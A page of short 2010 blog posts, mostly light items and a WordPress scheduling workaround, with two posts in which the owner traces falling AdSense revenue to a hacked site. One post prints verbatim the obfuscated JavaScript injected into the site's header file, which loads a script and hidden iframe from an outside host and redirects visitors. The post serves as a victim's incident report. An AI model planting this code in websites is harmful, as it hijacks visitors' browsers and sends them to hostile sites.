Drunk Dialing is Fun, Here’s a Number to Call When You’re Drinking

February 24th, 2010 | Posted by i.nconspicuo.us in Random Stuff - (0 Comments)


Almost all of us have been guilty of doing it. And depending on the hour, most of us hate it when it happens to us. You all know what I’m talking about… Drunk Dialing. It can’t be explained, but for some reason after too much beer or liquor, it always seems like a good idea to call people, sometimes people you haven’t talked to in years, or even people you haven’t ever talked to. Well if you ever have the need to drunk dial again, call The SofaKing, he is ready and willing to accept your drunk dials, and if you don’t want to get charged for long distance, just punch in your phone number and you’ll be connected free of charge. You can’t beat that! So next time you’re in the mood to drunk dial someone, make that someone The SofaKing – (530) SOFA-KNG – Call him up and leave him a voicemail.

Or, have The SofaKing call you:

Your info is safe with The SofaKing

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You’re Welcome Cards are the Perfect Follow Up to a Thank You Card

February 17th, 2010 | Posted by i.nconspicuo.us in Random Stuff - (0 Comments)


I love giving gifts, and I love finding creative cards that are inventive, witty and funny. I recently came across You’re Welcome Cards – these cards are great! They can be given with a gift, and they can also be given after receiving a Thank You card. Either way, they are tons of fun, and always get a good laugh.

The nice thing about these You’re Welcome Cards is the fact that they’re not holiday specific (though I hope that the creators make some holiday specific versions). These cards can be giving at Christmas, for Birthdays, or just because. There is really no limit to giving these cards to someone. They’ve only got a handful of designs available, but give them a look - You’re bound to get a good laugh if you give these next time you give a gift!

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Scheduled WordPress Posts Missed Schedule – Twitter Plugin

February 16th, 2010 | Posted by i.nconspicuo.us in Wordpress - (0 Comments)


I’ve been using Twitter Tools plugin with one of my WordPress blogs to update my WordPress with tweets and vice versa. Over the past few weeks, I recently realized that many of the posts that are created from my Twitter feed have had a “Missed Schedule” note on them. Basically what has been happening is the day/time comes and goes and the scheduled posts do not ever get published, hence the term Missed Schedule.

I’ve found a “fix” for this problem… actually, it’s much more of a workaround for this problem. Here’s what you need to do if you’re dealing with the same problem of your posts Missing Schedule:

  1. Open up any of the posts that have the Missing Schedule note on them.
  2. On the right hand side, in the publish window, change the Status from Scheduled to Draft.
  3. Click Publish. You’ll get a “Post draft updated” message.
  4. Click Publish again. You’ll get a “Post Published” message.

This workaround will work if you don’t have too many scheduled posts, or if you don’t mind a long tedious process. Luckily, I only had about 5 posts that were Missing Schedule, so I just went through and adjusted them manually. If you have more, I have read a few words about plugins that fix this problem, but I was a bit hesitant to try them.

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WordPress Site Hacked With URL Encoded Javascript document.write

February 4th, 2010 | Posted by i.nconspicuo.us in Wordpress - (4 Comments)


If you happened to read my article about my Google AdSense CTR decreasing over the past few months, you may have been wondering why it was dropping so much. Well, I finally started looking into the code of my blog and I found that my site was hacked. The header.php file had some Javascript add/injected into it. The following is the code that was found in my header file:

<script language=javascript>document.write(unescape(‘%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%66%75%6E%63%74%69%6F%6E%20%64%46%28%73%29%7B%76%61%72%20%73%31%3D%75%6E%65%73%63%61%70%65%28%73%2E%73%75%62%73%74%72%28%30%2C%73%2E%6C%65%6E%67%74%68%2D%31%29%29%3B%20%76%61%72%20%74%3D%27%27%3B%66%6F%72%28%69%3D%30%3B%69%3C%73%31%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%73%31%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%2D%73%2E%73%75%62%73%74%72%28%73%2E%6C%65%6E%67%74%68%2D%31%2C%31%29%29%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%74%29%29%3B%7D%3C%2F%73%63%72%69%70%74%3E’));dF(‘%264Dtdsjqu%264Fepdvnfou/xsjuf%2639%2633%264Dtdsjqu%2631tsd%264E%266D%2633%2633%2C%2633iuuq%264B00jutbmmcsfbltpgu/ofu0uet0jo/dhj%264G3%2637tfpsfg%264E%2633%2CfodpefVSJDpnqpofou%2639epdvnfou/sfgfssfs%263%3A%2C%2633%2637qbsbnfufs%264E%2635lfzxpse%2637tf%264E%2635tf%2637vs%264E2%2637IUUQ
%60SFGFSFS%264E%2633%2C%2631fodpefVSJDpnqpofou%2639epdvnfou/VSM%263%3A%2C%2633%2637efgbvmu%60lfzxpse%264Eopuefgjof%2633%2C%2633%266D%2633%264F%264D%266D0tdsjqu%264F%2633%263%3A%264C%264D0tdsjqu%264F%261B%264Dtdsjqu%264F%261Bjg%2639uzqfpg%2639i%263%3A%264E%264E%2633voefgjofe%2633%263%3A%268C%261%3A%261B%261%3Aepdvnfou/xsjuf%2639%2633%264Djgsbnf%2631tsd%264E%2638iuuq%264B00jutbmmcsfbltpgu/ofu0uet0jo/dhj%264G4%2637tfpsfg%264E%2633%2CfodpefVSJDpnqpofou%2639epdvnfou/sfgfssfs%263%3A%2C%2633%2637qbsbnfufs%264E%2635lfzxpse%2637tf%264E%2635tf%2637vs%264E2%2637IUUQ
%60SFGFSFS%264E%2633%2C%2631fodpefVSJDpnqpofou%2639epdvnfou/VSM%263%3A%2C%2633%2637efgbvmu%60lfzxpse%264Eopuefgjof%2638%2631xjeui%264E2%2631ifjhiu%264E2
%2631cpsefs%264E1%2631gsbnfcpsefs%264E1%264F%264D0jgsbnf%264F%2633%263%3A%264C%2631%261B%268E%261Bfmtf%2631jg%2639i/joefyPg%2639%2633iuuq%264B%2633%263%3A%264E%264E1%263%3A%268C%261B%261%3A%261%3Axjoepx/mpdbujpo%264Ei%264C%261B%268E%261B%264D0tdsjqu%264F1′)</script>

Put this into a URL decoder and you get the following:

<script language="javascript">function dF(s){var s1=unescape(s.substr(0,s.length-1)); var t='';for(i=0;i<s1.length;i++)t+=String.fromCharCode(s1.charCodeAt(i)-s.substr(s.length-1,1));document.write(unescape(t));}</script>

dF('&4Dtdsjqu&4Fepdvnfou/xsjuf&39&33&4Dtdsjqu&31tsd&4E&6D&33&33,
&33iuuq&4B00jutbmmcsfbltpgu/ofu0uet0jo/dhj&4G3&37tfpsfg&4E&33,
fodpefVSJDpnqpofou&39epdvnfou/sfgfssfs&3:,&33&37qbsbnfufs&4E
&35lfzxpse&37tf&4E&35tf&37vs&4E2&37IUUQ`SFGFSFS&4E&33
,&31fodpefVSJDpnqpofou&39epdvnfou/VSM&3:,&33&37efgbvmu`lfzxpse&4Eopuefgjof&33
,&33&6D&33&4F&4D&6D0tdsjqu&4F&33&3:&4C&4D0tdsjqu&4F&1B&4Dtdsjqu&4F&1Bjg
&39uzqfpg&39i&3:&4E&4E&33voefgjofe&33&3:&8C&1:&1B&1:epdvnfou/xsjuf&39&33
&4Djgsbnf&31tsd&4E&38iuuq&4B00jutbmmcsfbltpgu/ofu0uet0jo/dhj&4G4&37tfpsfg&4E&33,fodpefVSJDpnqpofou&39epdvnfou/sfgfssfs&3:,&33&37qbsbnfufs&4E&35lfzxpse&37tf&4E&35tf&37vs&4E2&37IUUQ
`SFGFSFS&4E&33,&31fodpefVSJDpnqpofou&39epdvnfou/VSM&3:,&33&37efgbvmu
`lfzxpse&4Eopuefgjof&38&31xjeui&4E2&31ifjhiu&4E2&31cpsefs&4E1
&31gsbnfcpsefs&4E1&4F&4D0jgsbnf&4F&33&3:&4C&31&1B&8E&1Bfmtf
&31jg&39i/joefyPg&39&33iuuq&4B&33&3:&4E&4E1&3:&8C&1B&1:&1:xjoepx/mpdbujpo&4Ei&4C&1B&8E&1B&4D0tdsjqu&4F1')

These bastards put some code into the header of my site that would end up redirecting all of my users after 5-15 seconds. Each time, I’d end up losing the traffic, and in turn, the potential for AdSense revenue. I thought that my decreasing Google AdSense CTR was just a sign of the time, turns out otherwise. It turns out my ads just weren’t being displayed long enough to be seen by my users. If they’re only displayed for a few seconds, the chances are they aren’t going to be viewed by as many users. I’ll be updating everyone on

Has anyone else had their WordPress site hacked like this before? Have you found out how the hackers got into your site?

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Cause of Decreasing AdSense CTR – Click Through Rate Falling Drastically – What Causes This?

February 4th, 2010 | Posted by i.nconspicuo.us in Adsense - (1 Comments)


2010 had been great in terms of AdSense revenue through the month of January, but once February rolled around, I noticed a huge drop in my CTR. In January 2009, my AdSense CTR for all of the sites I manage and work with was nearly double digits. I understand that this isn’t typical, but it had been like that for well over a year. Toward the end of 2o09. Over the past year, my CTR had fallen to about half of what it was, then in the past month, it’s fallen to about half of that. What gives? The site is the same, I still get the same amount off traffic, if not more, but my CTR is turning into garbage!

Update – CTR Problem Solved

I found out that my site was hacked. After about 10-15 seconds, my site would redirect based on some javascript code that was injected into it. Read more about how my WordPress was hacked, read here.

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